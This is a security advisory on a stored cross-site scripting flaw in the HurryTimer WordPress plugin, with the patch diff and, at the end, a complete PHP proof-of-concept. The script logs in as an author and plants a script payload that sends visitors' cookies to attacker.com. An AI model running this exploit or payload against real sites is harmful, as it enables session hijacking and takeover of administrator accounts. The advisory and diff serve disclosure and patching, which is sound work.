Atomic Edge analysis of CVE-2026-24392:
The HurryTimer WordPress plugin, versions up to and including 2.14.2, contains an authenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in the plugin’s campaign settings administration interface, allowing users with author-level permissions or higher to inject malicious scripts. These scripts execute in the context of any user viewing the compromised campaign page, leading to a CVSS 6.4 severity rating.
The root cause is insufficient output escaping on user-controlled data within multiple admin template files. The vulnerability manifests in the `hurrytimer/admin/templates/` directory across several files where the plugin directly echoes campaign data without proper sanitization. Specifically, the `actions-tab.php` file (lines 95, 99, 114), `appearance-content-tabcontent.php` (lines 99, 110, 121, 132), `schedule-evergreen.php` (lines 29, 38, 48, 57, 192, 200, 210, 219, 243, 244, 245, 249), `schedule-recurring.php` (lines 42, 75, 84, 88, 92, 96, 109, 113, 117, 121, 140, 166, 199, 203), `schedule-regular.php` (line 11), and `wc-condition.php` (lines 9, 41, 51) all use `echo` statements without `esc_attr()` or `esc_html()` functions. The `Campaign.php` class methods `setHeadline()`, `setEndDatetime()`, and `setLabels()` also lacked input sanitization before storing values.
Exploitation requires an authenticated attacker with at least author-level permissions. The attacker navigates to the HurryTimer campaign creation/editing interface, accessible via the WordPress admin panel. They inject malicious JavaScript payloads into any of the vulnerable fields, such as coupon names (`actions[][coupon]`), redirect URLs (`actions[][redirectUrl]`), time labels (`labels[days]`, `labels[hours]`, etc.), duration values (`duration[]`), or schedule parameters (`recurring_interval`, `recurring_duration[]`). The payload is saved when the campaign settings are submitted via the `save_settings()` method in `CampaignSettings.php`. The stored script executes whenever any user, including administrators, views the frontend page containing the compromised timer.
The patch addresses the vulnerability through three primary mechanisms. First, it adds output escaping using `esc_attr()` and `esc_html()` functions to all identified `echo` statements in the admin template files. Second, it implements input sanitization within the `Campaign.php` class: `wp_kses_post()` in `setHeadline()` (line 791), `sanitize_text_field()` in `setEndDatetime()` (line 856), and `array_map(‘sanitize_text_field’, $labels)` in `setLabels()` (line 1802). Third, the patch adds CSRF protection via a nonce check in `CampaignSettings.php::save_settings()` (lines 211-213) and enables an AJAX nonce verification in `Frontend.php::ajax_next_recurrence()` (line 128). The plugin version number increments from 2.14.2 to 2.14.3.
Successful exploitation allows an attacker with author privileges to perform actions as higher-privileged users who view the injected page. This can lead to session hijacking, administrative account takeover, defacement, or redirection to malicious sites. The stored nature of the XSS means a single injection affects all subsequent visitors to the compromised page, amplifying the impact beyond the initial attack vector.
--- a/hurrytimer/admin/CampaignSettings.php
+++ b/hurrytimer/admin/CampaignSettings.php
@@ -208,6 +208,11 @@
public function save_settings($post_id)
{
+ // Check for CSRF protection
+ if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'update-post_' . $post_id)) {
+ return;
+ }
+
if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)
|| (!isset($_POST['post_ID']) || $post_id != $_POST['post_ID'])
|| (!current_user_can('publish_posts') || !current_user_can('edit_post', $post_id))
--- a/hurrytimer/admin/templates/actions-tab.php
+++ b/hurrytimer/admin/templates/actions-tab.php
@@ -92,11 +92,11 @@
<?php if (!empty($coupons)) : ?>
<?php
foreach ($coupons as $coupon) : ?>
- <option value="<?php echo $coupon->post_title ?>" <?php echo selected($action['coupon'], $coupon->post_title) ?>><?php echo $coupon->post_title; ?>
+ <option value="<?php echo esc_attr($coupon->post_title) ?>" <?php echo selected($action['coupon'], $coupon->post_title) ?>><?php echo esc_html($coupon->post_title); ?>
</option>
<?php endforeach;
else : ?>
- <option value="<?php echo $action['coupon'] ?>" selected><?php echo $action['coupon']; ?></option>
+ <option value="<?php echo esc_attr($action['coupon']) ?>" selected><?php echo esc_html($action['coupon']); ?></option>
<?php endif; ?>
@@ -111,7 +111,7 @@
<label for=""><?php _e("Redirect URL", "hurrytimer") ?></label>
</div>
<div class="hurrytimer-action-block-input">
- <input type="text" id="hurrytimer-redirect-url" placeholder="http://" name="actions[<?php echo $i ?>][redirectUrl]" value="<?php echo $action['redirectUrl'] ?>" class="hurrytimer-redirect-url" />
+ <input type="text" id="hurrytimer-redirect-url" placeholder="http://" name="actions[<?php echo $i ?>][redirectUrl]" value="<?php echo esc_attr($action['redirectUrl']) ?>" class="hurrytimer-redirect-url" />
</div>
</div>
<div class="hurrytimer-action-block-subfields hurrytimer-action-display-message-subfields hidden">
--- a/hurrytimer/admin/templates/appearance-content-tabcontent.php
+++ b/hurrytimer/admin/templates/appearance-content-tabcontent.php
@@ -96,7 +96,7 @@
<input
type="text"
name="labels[days]"
- value="<?php echo $campaign->labels['days'] ?>">
+ value="<?php echo esc_attr($campaign->labels['days']) ?>">
</div>
</div>
<div class="hurrytimer-style-control-field">
@@ -107,7 +107,7 @@
<input
type="text"
name="labels[hours]"
- value="<?php echo $campaign->labels['hours'] ?>">
+ value="<?php echo esc_attr($campaign->labels['hours']) ?>">
</div>
</div>
<div class="hurrytimer-style-control-field">
@@ -118,7 +118,7 @@
<input
type="text"
name="labels[minutes]"
- value="<?php echo $campaign->labels['minutes'] ?>">
+ value="<?php echo esc_attr($campaign->labels['minutes']) ?>">
</div>
</div>
<div class="hurrytimer-style-control-field">
@@ -129,7 +129,7 @@
<input
type="text"
name="labels[seconds]"
- value="<?php echo $campaign->labels['seconds'] ?>">
+ value="<?php echo esc_attr($campaign->labels['seconds']) ?>">
</div>
</div>
</div>
--- a/hurrytimer/admin/templates/schedule-evergreen.php
+++ b/hurrytimer/admin/templates/schedule-evergreen.php
@@ -26,7 +26,7 @@
name="duration[]"
min="0"
data-index="0"
- value="<?php echo $campaign->duration[ 0 ] ?>">
+ value="<?php echo esc_attr($campaign->duration[ 0 ]) ?>">
</label>
<label>
<?php _e( "Hours", "hurrytimer" ) ?>
@@ -35,7 +35,7 @@
name="duration[]"
min="0"
data-index="1"
- value="<?php echo $campaign->duration[ 1 ] ?>"
+ value="<?php echo esc_attr($campaign->duration[ 1 ]) ?>"
>
</label>
<label>
@@ -45,7 +45,7 @@
name="duration[]"
min="0"
data-index="2"
- value="<?php echo $campaign->duration[ 2 ] ?>"
+ value="<?php echo esc_attr($campaign->duration[ 2 ]) ?>"
>
</label>
<label>
@@ -54,7 +54,7 @@
class="hurrytimer-duration"
name="duration[]"
data-index="3"
- value="<?php echo $campaign->duration[ 3 ] ?>"
+ value="<?php echo esc_attr($campaign->duration[ 3 ]) ?>"
>
</label>
</div>
@@ -189,7 +189,7 @@
class="hurrytimer-duration"
name="restart_duration[days]"
min="0"
- value="<?php echo $campaign->restartDuration[ 'days' ] ?>">
+ value="<?php echo esc_attr($campaign->restartDuration[ 'days' ]) ?>">
</label>
<label>
<?php _e( "Hours", "hurrytimer" ) ?>
@@ -197,7 +197,7 @@
class="hurrytimer-duration"
name="restart_duration[hours]"
min="0"
- value="<?php echo $campaign->restartDuration[ 'hours' ] ?>"
+ value="<?php echo esc_attr($campaign->restartDuration[ 'hours' ]) ?>"
>
</label>
@@ -207,7 +207,7 @@
class="hurrytimer-duration"
name="restart_duration[minutes]"
min="0"
- value="<?php echo $campaign->restartDuration[ 'minutes' ] ?>"
+ value="<?php echo esc_attr($campaign->restartDuration[ 'minutes' ]) ?>"
>
</label>
@@ -216,7 +216,7 @@
<input type="number"
class="hurrytimer-duration"
name="restart_duration[seconds]"
- value="<?php echo $campaign->restartDuration[ 'seconds' ] ?>"
+ value="<?php echo esc_attr($campaign->restartDuration[ 'seconds' ]) ?>"
>
</label>
@@ -240,13 +240,13 @@
</label></td>
<td>
<div>
- <button type="button" data-id="<?php echo $post_id ?>"
- data-cookie="<?php echo Cookie_Detection::cookieName( $post_id ) ?>"
- data-url="<?php echo $resetCampaignCurrentAdminUrl ?>" class="button button-default"
+ <button type="button" data-id="<?php echo esc_attr($post_id) ?>"
+ data-cookie="<?php echo esc_attr(Cookie_Detection::cookieName( $post_id )) ?>"
+ data-url="<?php echo esc_url($resetCampaignCurrentAdminUrl) ?>" class="button button-default"
id="hurrytResetCurrent">Only for me
</button>
- <button type="button" data-url="<?php echo $resetCampaignAllVisitorsUrl ?>"
+ <button type="button" data-url="<?php echo esc_url($resetCampaignAllVisitorsUrl) ?>"
class="button button-default" id="hurrytResetAll">For all visitors...
</button>
</div>
--- a/hurrytimer/admin/templates/schedule-recurring.php
+++ b/hurrytimer/admin/templates/schedule-recurring.php
@@ -39,7 +39,7 @@
<td>
<div class="hurryt-flex">
<div class="hurryt-w-16">
- <input type="number" min="1" name="recurring_interval" value="<?php echo $campaign->recurringInterval ?>" id="hurrytRecurringInterval" />
+ <input type="number" min="1" name="recurring_interval" value="<?php echo esc_attr($campaign->recurringInterval) ?>" id="hurrytRecurringInterval" />
</div>
<div class="hurryt-flex-grow">
<select name="recurring_frequency" id="hurrytRecurringFrequency" class="hurryt-w-full">
@@ -72,7 +72,7 @@
<td>
<div id="ht-recurring-duration-option">
<label >
- <input type="radio" value="none" name="recurring_duration_option" <?php checked($campaign->recurringDurationOption, 'none') ?> /><span id="ht-monthly-recur-interval"><?php echo $campaign->recurringInterval ?></span> month(s)
+ <input type="radio" value="none" name="recurring_duration_option" <?php checked($campaign->recurringDurationOption, 'none') ?> /><span id="ht-monthly-recur-interval"><?php echo esc_html($campaign->recurringInterval) ?></span> month(s)
</label>
<label >
<input type="radio" value="custom" name="recurring_duration_option" <?php checked($campaign->recurringDurationOption, 'custom') ?> />Custom...
@@ -81,19 +81,19 @@
<div class="hurryt-flex" id="ht-recurring-duration">
<label class="hurryt-uppercase hurryt-text-gray-700 hurryt-text-xs hurryt-pr-2">
<?php _e("Days", "hurrytimer") ?>
- <input type="number" class="hurrytimer-duration" name="recurring_duration[]" id="hurrytRecurringDays" class="hurryt-w-full" min="0" value="<?php echo $campaign->recurringDuration[0] ?>">
+ <input type="number" class="hurrytimer-duration" name="recurring_duration[]" id="hurrytRecurringDays" class="hurryt-w-full" min="0" value="<?php echo esc_attr($campaign->recurringDuration[0]) ?>">
</label>
<label class="hurryt-uppercase hurryt-text-gray-700 hurryt-text-xs hurryt-pr-2">
<?php _e("Hours", "hurrytimer") ?>
- <input type="number" name="recurring_duration[]" id="hurrytRecurringHours" class="hurryt-w-full" min="0" value="<?php echo $campaign->recurringDuration[1] ?>">
+ <input type="number" name="recurring_duration[]" id="hurrytRecurringHours" class="hurryt-w-full" min="0" value="<?php echo esc_attr($campaign->recurringDuration[1]) ?>">
</label>
<label class="hurryt-uppercase hurryt-text-gray-700 hurryt-text-xs hurryt-pr-2">
<?php _e("minutes", "hurrytimer") ?>
- <input type="number" id="hurrytRecurringMinutes" name="recurring_duration[]" class="hurryt-w-full" min="0" value="<?php echo $campaign->recurringDuration[2] ?>">
+ <input type="number" id="hurrytRecurringMinutes" name="recurring_duration[]" class="hurryt-w-full" min="0" value="<?php echo esc_attr($campaign->recurringDuration[2]) ?>">
</label>
<label class="hurryt-uppercase hurryt-text-gray-700 hurryt-text-xs">
<?php _e("seconds", "hurrytimer") ?>
- <input type="number" id="hurrytRecurringSeconds" name="recurring_duration[]" class="hurryt-w-full" min="0" value="<?php echo $campaign->recurringDuration[3] ?>">
+ <input type="number" id="hurrytRecurringSeconds" name="recurring_duration[]" class="hurryt-w-full" min="0" value="<?php echo esc_attr($campaign->recurringDuration[3]) ?>">
</label>
</div>
</td>
@@ -106,19 +106,19 @@
<div class="hurryt-flex" >
<label class="hurryt-uppercase hurryt-text-gray-700 hurryt-text-xs hurryt-pr-2">
<?php _e("Days", "hurrytimer") ?>
- <input type="number" class="hurrytimer-duration" name="recurring_pause_duration[days]" id="hurrytRecurringPauseDays" class="hurryt-w-full" min="0" value="<?php echo $campaign->recurringPauseDuration['days'] ?>">
+ <input type="number" class="hurrytimer-duration" name="recurring_pause_duration[days]" id="hurrytRecurringPauseDays" class="hurryt-w-full" min="0" value="<?php echo esc_attr($campaign->recurringPauseDuration['days']) ?>">
</label>
<label class="hurryt-uppercase hurryt-text-gray-700 hurryt-text-xs hurryt-pr-2">
<?php _e("Hours", "hurrytimer") ?>
- <input type="number" name="recurring_pause_duration[hours]" id="hurrytRecurringPauseHours" class="hurryt-w-full" min="0" value="<?php echo $campaign->recurringPauseDuration['hours'] ?>">
+ <input type="number" name="recurring_pause_duration[hours]" id="hurrytRecurringPauseHours" class="hurryt-w-full" min="0" value="<?php echo esc_attr($campaign->recurringPauseDuration['hours']) ?>">
</label>
<label class="hurryt-uppercase hurryt-text-gray-700 hurryt-text-xs hurryt-pr-2">
<?php _e("minutes", "hurrytimer") ?>
- <input type="number" id="hurrytRecurringPauseMinutes" name="recurring_pause_duration[minutes]" class="hurryt-w-full" min="0" value="<?php echo $campaign->recurringPauseDuration['minutes'] ?>">
+ <input type="number" id="hurrytRecurringPauseMinutes" name="recurring_pause_duration[minutes]" class="hurryt-w-full" min="0" value="<?php echo esc_attr($campaign->recurringPauseDuration['minutes']) ?>">
</label>
<label class="hurryt-uppercase hurryt-text-gray-700 hurryt-text-xs">
<?php _e("seconds", "hurrytimer") ?>
- <input type="number" id="hurrytRecurringPauseSeconds" name="recurring_pause_duration[seconds]" class="hurryt-w-full" min="0" value="<?php echo $campaign->recurringPauseDuration['seconds'] ?>">
+ <input type="number" id="hurrytRecurringPauseSeconds" name="recurring_pause_duration[seconds]" class="hurryt-w-full" min="0" value="<?php echo esc_attr($campaign->recurringPauseDuration['seconds']) ?>">
</label>
</div>
</td>
@@ -137,7 +137,7 @@
?>
<?php foreach ($weekdays as $k => $v) : ?>
<label for="" class="hurryt-block hurryt-mb-3 hurryt-w-1/3"><input type="checkbox" <?php echo in_array($k, $campaign->recurringDays)
- ? 'checked' : '' ?> name="recurring_days[]" value="<?php echo $k ?>"><?php echo $v ?>
+ ? 'checked' : '' ?> name="recurring_days[]" value="<?php echo esc_attr($k) ?>"><?php echo esc_html($v) ?>
</label>
<?php endforeach; ?>
</div>
@@ -163,7 +163,7 @@
</td>
<td>
<label for="hurrytimer-end-datetime" class="date hurryt-w-full">
- <input type="text" name="recurring_start_time" autocomplete="off" class="hurrytimer-datepicker hurryt-w-full" placeholder="Select Date/Time" value="<?php echo $campaign->recurringStartTime ?>">
+ <input type="text" name="recurring_start_time" autocomplete="off" class="hurrytimer-datepicker hurryt-w-full" placeholder="Select Date/Time" value="<?php echo esc_attr($campaign->recurringStartTime) ?>">
</label>
</td>
</tr>
@@ -196,11 +196,11 @@
<label for="" class="hurryt-mb-2"><input type="radio" name="recurring_end" value="<?php echo C::RECURRING_END_OCCURRENCES ?>" <?php echo checked(
$campaign->recurringEnd,
C::RECURRING_END_OCCURRENCES
- ) ?>>After <input type="text" name="recurring_count" autocomplete="off" id="hurrytimer-recurring_end_date" style="width: 3em" value="<?php echo $campaign->recurringCount ?>"> recurrences</label>
+ ) ?>>After <input type="text" name="recurring_count" autocomplete="off" id="hurrytimer-recurring_end_date" style="width: 3em" value="<?php echo esc_attr($campaign->recurringCount) ?>"> recurrences</label>
<label for="" class="hurryt-mb-2 date"><input type="radio" name="recurring_end" value="<?php echo C::RECURRING_END_TIME ?>" <?php echo checked(
$campaign->recurringEnd,
C::RECURRING_END_TIME
- ) ?>>On <input type="text" name="recurring_until" autocomplete="off" class="hurrytimer-datepicker" placeholder="Select Date/Time" style="width: 12em" value="<?php echo $campaign->recurringUntil ?>"></label>
+ ) ?>>On <input type="text" name="recurring_until" autocomplete="off" class="hurrytimer-datepicker" placeholder="Select Date/Time" style="width: 12em" value="<?php echo esc_attr($campaign->recurringUntil) ?>"></label>
</div>
</td>
</tr>
--- a/hurrytimer/admin/templates/schedule-regular.php
+++ b/hurrytimer/admin/templates/schedule-regular.php
@@ -8,7 +8,7 @@
<input type="text" name="end_datetime" autocomplete="off"
id="hurrytimer-end-datetime"
class="hurrytimer-datepicker hurryt-w-full"
- value="<?php echo $campaign->endDatetime ?>"
+ value="<?php echo esc_attr($campaign->endDatetime) ?>"
>
</label>
</td>
--- a/hurrytimer/admin/templates/wc-condition.php
+++ b/hurrytimer/admin/templates/wc-condition.php
@@ -6,7 +6,7 @@
<div class="hurryt-wc-condition hurryt-flex hurryt-items-center hurryt-mb-2" data-condition-id="<?php echo $conditionId ?>" >
<select name="wc_conditions[<?php echo $groupId ?>][<?php echo $conditionId ?>][key]" class="hurryt-w-1/4 hurryt-mr-2 hurryt-wc-condition-key">
<?php foreach ($conditions as $condition): ?>
- <option value="<?php echo $condition['key'] ?>" <?php echo selected($selected['key'], $condition['key']) ?>
+ <option value="<?php echo esc_attr($condition['key']) ?>" <?php echo selected($selected['key'], $condition['key']) ?>
><?php echo $condition['name'] ?></option>
<?php endforeach; ?>
</select>
@@ -38,7 +38,7 @@
?>
<select name="wc_conditions[<?php echo $groupId ?>][<?php echo $conditionId ?>][value]" class="hurryt-w-1/4 hurryt-mr-2 hurryt-wc-condition-value">
<?php foreach ($values as $value): ?>
- <option value="<?php echo $value['id'] ?>" <?php echo isset($active) && $active['value'] == $value['id'] ? 'selected': '' ?>
+ <option value="<?php echo esc_attr($value['id']) ?>" <?php echo isset($active) && $active['value'] == $value['id'] ? 'selected': '' ?>
><?php echo $value['name'] ?></option>
<?php endforeach; ?>
</select>
@@ -48,7 +48,7 @@
<?php
if ($selected['type'] === 'number'):
?>
- <input type="number" value="<?php echo isset($active) ? $active['value'] : '' ?>" name="wc_conditions[<?php echo $groupId ?>][<?php echo $conditionId ?>][value]" class="hurryt-w-1/4 hurryt-mr-2 hurryt-wc-condition-value" />
+ <input type="number" value="<?php echo esc_attr(isset($active) ? $active['value'] : '') ?>" name="wc_conditions[<?php echo $groupId ?>][<?php echo $conditionId ?>][value]" class="hurryt-w-1/4 hurryt-mr-2 hurryt-wc-condition-value" />
<?php
endif;
endif;
--- a/hurrytimer/hurrytimer.php
+++ b/hurrytimer/hurrytimer.php
@@ -12,7 +12,7 @@
* Plugin Name: HurryTimer
* Plugin URI: https://hurrytimer.com
* Description: A Scarcity and Urgency Countdown Timer for WordPress & WooCommerce with recurring and evergreen mode.
- * Version: 2.14.2
+ * Version: 2.14.3
* Author: Nabil Lemsieh
* Author URI: https://hurrytimer.com
* License: GPLv3
@@ -20,7 +20,7 @@
* Text Domain: hurrytimer
* Domain Path: /languages
* WC requires at least: 3.0.0
- * WC tested up to: 10.4
+ * WC tested up to: 10.5
*/
@@ -47,7 +47,7 @@
endif;
-define('HURRYT_VERSION', '2.14.2');
+define('HURRYT_VERSION', '2.14.3');
define('HURRYT_DIR', plugin_dir_path(__FILE__));
define('HURRYT_URL', plugin_dir_url(__FILE__));
--- a/hurrytimer/includes/Campaign.php
+++ b/hurrytimer/includes/Campaign.php
@@ -788,6 +788,8 @@
public function setHeadline($value)
{
+ // Sanitize headline to prevent XSS while allowing basic HTML
+ $value = wp_kses_post($value);
$this->set_prop('_hurryt_headline', $value);
}
@@ -851,6 +853,8 @@
*/
public function setEndDatetime($date)
{
+ // Sanitize the date input to prevent XSS
+ $date = sanitize_text_field($date);
$this->set_prop('end_datetime', $date ?: $this->defaultEndDatetime());
}
@@ -1793,6 +1797,10 @@
*/
public function setLabels($labels)
{
+ // Sanitize each label to prevent XSS
+ if (is_array($labels)) {
+ $labels = array_map('sanitize_text_field', $labels);
+ }
$labels = wp_parse_args($labels, $this->labels);
update_post_meta($this->id, 'labels', $labels);
}
--- a/hurrytimer/includes/Dependencies/Carbon/CarbonPeriod.php
+++ b/hurrytimer/includes/Dependencies/Carbon/CarbonPeriod.php
@@ -236,7 +236,7 @@
public static function createFromArray(array $params)
{
// PHP 5.3 equivalent of new static(...$params).
- $reflection = new ReflectionClass(get_class());
+ $reflection = new ReflectionClass(static::class);
/** @var static $instance */
$instance = $reflection->newInstanceArgs($params);
--- a/hurrytimer/includes/Frontend.php
+++ b/hurrytimer/includes/Frontend.php
@@ -125,7 +125,7 @@
public function ajax_next_recurrence() {
- // check_ajax_referer('hurryt', 'nonce');
+ check_ajax_referer('hurryt', 'nonce');
$campaign_id = absint($_GET['id']);
if (
!get_post($campaign_id)
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24392 - HurryTimer – An Scarcity and Urgency Countdown Timer for WordPress & WooCommerce <= 2.14.2 - Authenticated (Author+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'author_user';
$password = 'author_password';
$campaign_id = 123; // ID of an existing campaign the author can edit
// Payload to inject - creates an alert and steals admin cookies
$payload = '"><script>alert(document.domain);fetch("https://attacker.com/steal?c="+document.cookie);</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Verify login by checking for admin dashboard in response
if (strpos($response, 'Dashboard') === false) {
die('Login failed');
}
// Navigate to the HurryTimer campaign edit page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $campaign_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);
// Extract the nonce from the edit page (required for WordPress save)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
preg_match('/name="post_ID" value="([^"]+)"/', $response, $matches);
$post_id = $matches[1] ?? $campaign_id;
// Prepare malicious POST data targeting the vulnerable redirectUrl field
// This field is in the actions-tab.php template and lacks esc_attr() in vulnerable versions
$post_data = [
'post_ID' => $post_id,
'_wpnonce' => $nonce,
'post_title' => 'Malicious Campaign',
'content' => 'Campaign content',
'actions' => [
[
'type' => 'redirect',
'redirectUrl' => 'javascript:alert(1)' . $payload, // XSS in redirect URL
'coupon' => ''
]
],
'labels' => [
'days' => 'Days' . $payload, // XSS in label field
'hours' => 'Hours',
'minutes' => 'Minutes',
'seconds' => 'Seconds'
],
'duration' => ['1', '0', '0', '0'],
'save' => 'Update'
];
// Flatten the nested array for POST submission
function flatten_post_array($array, $prefix = '') {
$result = [];
foreach ($array as $key => $value) {
$new_key = $prefix ? $prefix . '[' . $key . ']' : $key;
if (is_array($value)) {
$result = array_merge($result, flatten_post_array($value, $new_key));
} else {
$result[$new_key] = $value;
}
}
return $result;
}
$flat_data = flatten_post_array($post_data);
// Submit the malicious campaign update
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($flat_data));
$response = curl_exec($ch);
// Verify the payload was saved
if (strpos($response, 'Post updated') !== false || strpos($response, $payload) !== false) {
echo 'Exploit successful! Visit ' . $target_url . '/?p=' . $post_id . ' to trigger XSS.n';
} else {
echo 'Exploit may have failed. Check response.n';
}
curl_close($ch);
?>